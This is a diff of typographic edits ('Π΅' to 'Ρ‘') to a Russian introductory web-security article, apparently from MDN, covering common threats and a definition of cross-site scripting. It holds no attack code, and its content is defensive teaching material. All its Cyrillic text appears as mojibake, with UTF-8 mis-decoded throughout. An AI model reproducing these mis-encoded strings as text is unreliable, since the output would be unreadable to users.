@@ -18,20 +18,20 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
</tr>
<tr>
<th scope="row">ЦСль:</th>
- <td>ΠŸΠΎΠ½ΡΡ‚ΡŒ самыС распространСнныС ΡƒΠ³Ρ€ΠΎΠ·Ρ‹ бСзопасности Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. И Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ риск Π²Π·Π»ΠΎΠΌΠ° вашСго сайта.</td>
+ <td>ΠŸΠΎΠ½ΡΡ‚ΡŒ самыС распространённыС ΡƒΠ³Ρ€ΠΎΠ·Ρ‹ бСзопасности Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. И Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ риск Π²Π·Π»ΠΎΠΌΠ° вашСго сайта.</td>
</tr>
</tbody>
</table>
<h2 id="Π§Ρ‚ΠΎ_Ρ‚Π°ΠΊΠΎΠ΅_Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ_сайта">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ сайта?</h2>
-<p>Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ опасноС мСсто! ΠœΡ‹ рСгулярно ΡΠ»Ρ‹ΡˆΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-сайты становятся нСдоступными ΠΈΠ·-Π·Π° Π°Ρ‚Π°ΠΊ Ρ‚ΠΈΠΏΠ° ΠΎΡ‚ΠΊΠ°Π·Π°Π½ΠΎ Π² обслуТивании, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½ΠΎΠΉ (ΠΈ часто ΠΏΠΎΠ²Ρ€Π΅ΠΆΠ΄Π΅Π½Π½ΠΎΠΉ) ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° ΠΈΡ… страницах. Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ‹ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ, адрСсов элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½Ρ‹Ρ… ΠΊΠ°Ρ€Ρ‚ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»ΠΈΡΡŒ общСдоступными, подвСргая ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π²Π΅Π±-сайта Π»ΠΈΡ‡Π½ΠΎΠΌΡƒ ΡΠΌΡƒΡ‰Π΅Π½ΠΈΡŽ ΠΈΠ»ΠΈ ΠΊ финансовым рискам.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ опасноС мСсто! ΠœΡ‹ рСгулярно ΡΠ»Ρ‹ΡˆΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-сайты становятся нСдоступными ΠΈΠ·-Π·Π° Π°Ρ‚Π°ΠΊ Ρ‚ΠΈΠΏΠ° ΠΎΡ‚ΠΊΠ°Π·Π°Π½ΠΎ Π² обслуТивании, ΠΈΠ»ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Π½ΠΎΠΉ (ΠΈ часто ΠΏΠΎΠ²Ρ€Π΅ΠΆΠ΄Ρ‘Π½Π½ΠΎΠΉ) ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° ΠΈΡ… страницах. Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях ΠΌΠΈΠ»Π»ΠΈΠΎΠ½Ρ‹ ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ, адрСсов элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½Ρ‹Ρ… ΠΊΠ°Ρ€Ρ‚ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»ΠΈΡΡŒ общСдоступными, подвСргая ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Π²Π΅Π±-сайта Π»ΠΈΡ‡Π½ΠΎΠΌΡƒ ΡΠΌΡƒΡ‰Π΅Π½ΠΈΡŽ ΠΈΠ»ΠΈ ΠΊ финансовым рискам.</p>
<p>ЦСль Π²Π΅Π±-бСзопасности Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ этих (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ…) Π²ΠΈΠ΄ΠΎΠ² Π°Ρ‚Π°ΠΊ. Π‘ΠΎΠ»Π΅Π΅ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ Π²Π΅Π±-бСзопасности являСтся: <em>способы Π·Π°Ρ‰ΠΈΡ‚Ρ‹ Π²Π΅Π±-сайтов ΠΎΡ‚ нСсанкционированного доступа, использования, измСнСния, уничтоТСния ΠΈΠ»ΠΈ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ Ρ€Π°Π±ΠΎΡ‚Ρ‹.</em></p>
-<p>Для эффСктивной бСзопасности Π²Π΅Π±-сайта Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ особоС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΊ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ всСго Π²Π΅Π±-сайта: ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Π²Π΅Π±-сСрвСра, ΠΏΡ€ΠΈ написании ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊ создания ΠΈ обновлСния ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠΎΠ΄Π° Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°. Π₯отя всС это Π·Π²ΡƒΡ‡ΠΈΡ‚ ΠΎΡ‡Π΅Π½ΡŒ Π·Π»ΠΎΠ²Π΅Ρ‰Π΅, Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ Π½ΠΎΠ²ΠΎΡΡ‚ΡŒ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для сСрвСрной части, Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎΡ‡Ρ‚ΠΈ навСрняка обСспСчит Β«ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ» Π½Π°Π΄Π΅ΠΆΠ½Ρ‹Π΅ ΠΈ ΠΏΡ€ΠΎΠ΄ΡƒΠΌΠ°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ ряда Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных Π°Ρ‚Π°ΠΊ. Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π°Ρ‚Π°ΠΊΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ вашСго Π²Π΅Π±-сСрвСра, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ² HTTPS. НаконСц, Π΅ΡΡ‚ΡŒ общСдоступныС инструмСнты для сканирования уязвимостСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Ссли Π²Ρ‹ допустили ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Π΅ ошибки.</p>
+<p>Для эффСктивной бСзопасности Π²Π΅Π±-сайта Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ΄Π΅Π»ΡΡ‚ΡŒ особоС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ ΠΊ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ всСго Π²Π΅Π±-сайта: ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ Π²Π΅Π±-сСрвСра, ΠΏΡ€ΠΈ написании ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊ создания ΠΈ обновлСния ΠΏΠ°Ρ€ΠΎΠ»Π΅ΠΉ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠΎΠ΄Π° Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°. Π₯отя всС это Π·Π²ΡƒΡ‡ΠΈΡ‚ ΠΎΡ‡Π΅Π½ΡŒ Π·Π»ΠΎΠ²Π΅Ρ‰Π΅, Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ Π½ΠΎΠ²ΠΎΡΡ‚ΡŒ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ для сСрвСрной части, Ρ‚ΠΎ ΠΎΠ½ ΠΏΠΎΡ‡Ρ‚ΠΈ навСрняка обСспСчит Β«ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽΒ» Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹Π΅ ΠΈ ΠΏΡ€ΠΎΠ΄ΡƒΠΌΠ°Π½Π½Ρ‹Π΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΎΡ‚ ряда Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых Π°Ρ‚Π°ΠΊ. Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π°Ρ‚Π°ΠΊΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΈ вашСго Π²Π΅Π±-сСрвСра, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ² HTTPS. НаконСц, Π΅ΡΡ‚ΡŒ общСдоступныС инструмСнты для сканирования уязвимостСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ, Ссли Π²Ρ‹ допустили ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½Ρ‹Π΅ ошибки.</p>
-<p>Π’ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΌΡ‹ рассмотрим Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… самых распространСнных ΡƒΠ³Ρ€ΠΎΠ·Π°Ρ… ΠΈ ΠΎ простых ΡˆΠ°Π³Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ свой сайт.</p>
+<p>Π’ ΠΎΡΡ‚Π°Π²ΡˆΠ΅ΠΉΡΡ части этой ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΌΡ‹ рассмотрим Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… самых распространённых ΡƒΠ³Ρ€ΠΎΠ·Π°Ρ… ΠΈ ΠΎ простых ΡˆΠ°Π³Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΏΡ€ΠΈΠ½ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ свой сайт.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:Β </strong>Π­Ρ‚ΠΎ вводная ΡΡ‚Π°Ρ‚ΡŒΡ, призванная ΠΏΠΎΠΌΠΎΡ‡ΡŒ Π²Π°ΠΌ Π·Π°Π΄ΡƒΠΌΠ°Ρ‚ΡŒΡΡ ΠΎ бСзопасности Π²Π΅Π±-сайта, Π½ΠΎ ΠΎΠ½Π° Π½Π΅ являСтся ΠΈΡΡ‡Π΅Ρ€ΠΏΡ‹Π²Π°ΡŽΡ‰Π΅ΠΉ.</p>
@@ -39,25 +39,25 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
<h2 id="Π£Π³Ρ€ΠΎΠ·Ρ‹_бСзопасности_сайта">Π£Π³Ρ€ΠΎΠ·Ρ‹ бСзопасности сайта</h2>
-<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ пСрСчислСны лишь Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ΡƒΠ³Ρ€ΠΎΠ· Π²Π΅Π±-сайта ΠΈ способы ΠΈΡ… устранСния. Читая, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, насколько ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ ΡƒΠ³Ρ€ΠΎΠ·Ρ‹, ΠΊΠΎΠ³Π΄Π° Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ довСряСт, Π»ΠΈΠ±ΠΎ <em>нСдостаточно ΠΏΠ°Ρ€Π°Π½ΠΎΠΈΠ΄Π°Π»ΡŒΠ½ΠΎ</em> относится ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ, ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰ΠΈΠΌ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
+<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ пСрСчислСны лишь Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ΡƒΠ³Ρ€ΠΎΠ· Π²Π΅Π±-сайта ΠΈ способы ΠΈΡ… устранСния. Читая, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, насколько ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ ΡƒΠ³Ρ€ΠΎΠ·Ρ‹, ΠΊΠΎΠ³Π΄Π° Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ довСряСт, Π»ΠΈΠ±ΠΎ <em>нСдостаточно ΠΏΠ°Ρ€Π°Π½ΠΎΠΈΠ΄Π°Π»ΡŒΠ½ΠΎ</em> относится ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ, ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‰ΠΈΠΌ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
<h3 id="ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ_скриптинг_XSS">ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг (XSS)</h3>
-<p>XSS (<em>Cross-Site Scripting</em> - ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг) это Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для описания Ρ‚ΠΈΠΏΠ° Π°Ρ‚Π°ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒ врСдоносный ΠΊΠΎΠ΄ <em>Ρ‡Π΅Ρ€Π΅Π·</em> Π²Π΅Π±-сайт Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Π½Π΅Π΄Ρ€Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ поступаСт Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ с сайта, ΠΎΠ½ являСтся <em>Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ</em> ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ дСйствия, ΠΊΠ°ΠΊ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° <em>cookie</em>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ. Когда Ρƒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° Π΅ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ» <em>cookie</em>, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΠΉΡ‚ΠΈ Π½Π° сайт, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ Π±Ρ‹Π» ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ всС, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚Ρ‹, ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ.</p>
+<p>XSS (<em>Cross-Site Scripting</em> - ΠœΠ΅ΠΆΡΠ°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ скриптинг) это Ρ‚Π΅Ρ€ΠΌΠΈΠ½, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для описания Ρ‚ΠΈΠΏΠ° Π°Ρ‚Π°ΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒ врСдоносный ΠΊΠΎΠ΄ <em>Ρ‡Π΅Ρ€Π΅Π·</em> Π²Π΅Π±-сайт Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ поступаСт Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ с сайта, ΠΎΠ½ являСтся <em>Π΄ΠΎΠ²Π΅Ρ€Π΅Π½Π½Ρ‹ΠΌ</em> ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ дСйствия, ΠΊΠ°ΠΊ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π°Π²Ρ‚ΠΎΡ€ΠΈΠ·Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π° <em>cookie</em>ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ. Когда Ρƒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° Π΅ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ» <em>cookie</em>, ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΠΉΡ‚ΠΈ Π½Π° сайт, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ Π±Ρ‹Π» ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ всС, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΊΡ€Π΅Π΄ΠΈΡ‚Π½ΠΎΠΉ ΠΊΠ°Ρ€Ρ‚Ρ‹, ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€ΠΎΠ»ΠΈ.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Уязвимости XSS историчСски Π²ΡΡ‚Ρ€Π΅Ρ‡Π°Π»ΠΈΡΡŒ Ρ‡Π°Ρ‰Π΅, Ρ‡Π΅ΠΌ Π»ΡŽΠ±Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²ΠΈΠ΄Ρ‹ ΡƒΠ³Ρ€ΠΎΠ· бСзопасности.</p>
</div>
-<p>Уязвимости XSS дСлятся Π½Π° <em>ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Π΅</em> ΠΈ <em>Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Π΅</em>, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ сайт Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Π½Π΅Π΄Ρ€Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</p>
+<p>Уязвимости XSS дСлятся Π½Π° <em>ΠΎΡ‚Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹Π΅</em> ΠΈ <em>Ρ…Ρ€Π°Π½ΠΈΠΌΡ‹Π΅</em>, Π² зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ сайт Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π²Π½Π΅Π΄Ρ€Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€.</p>
<ul>
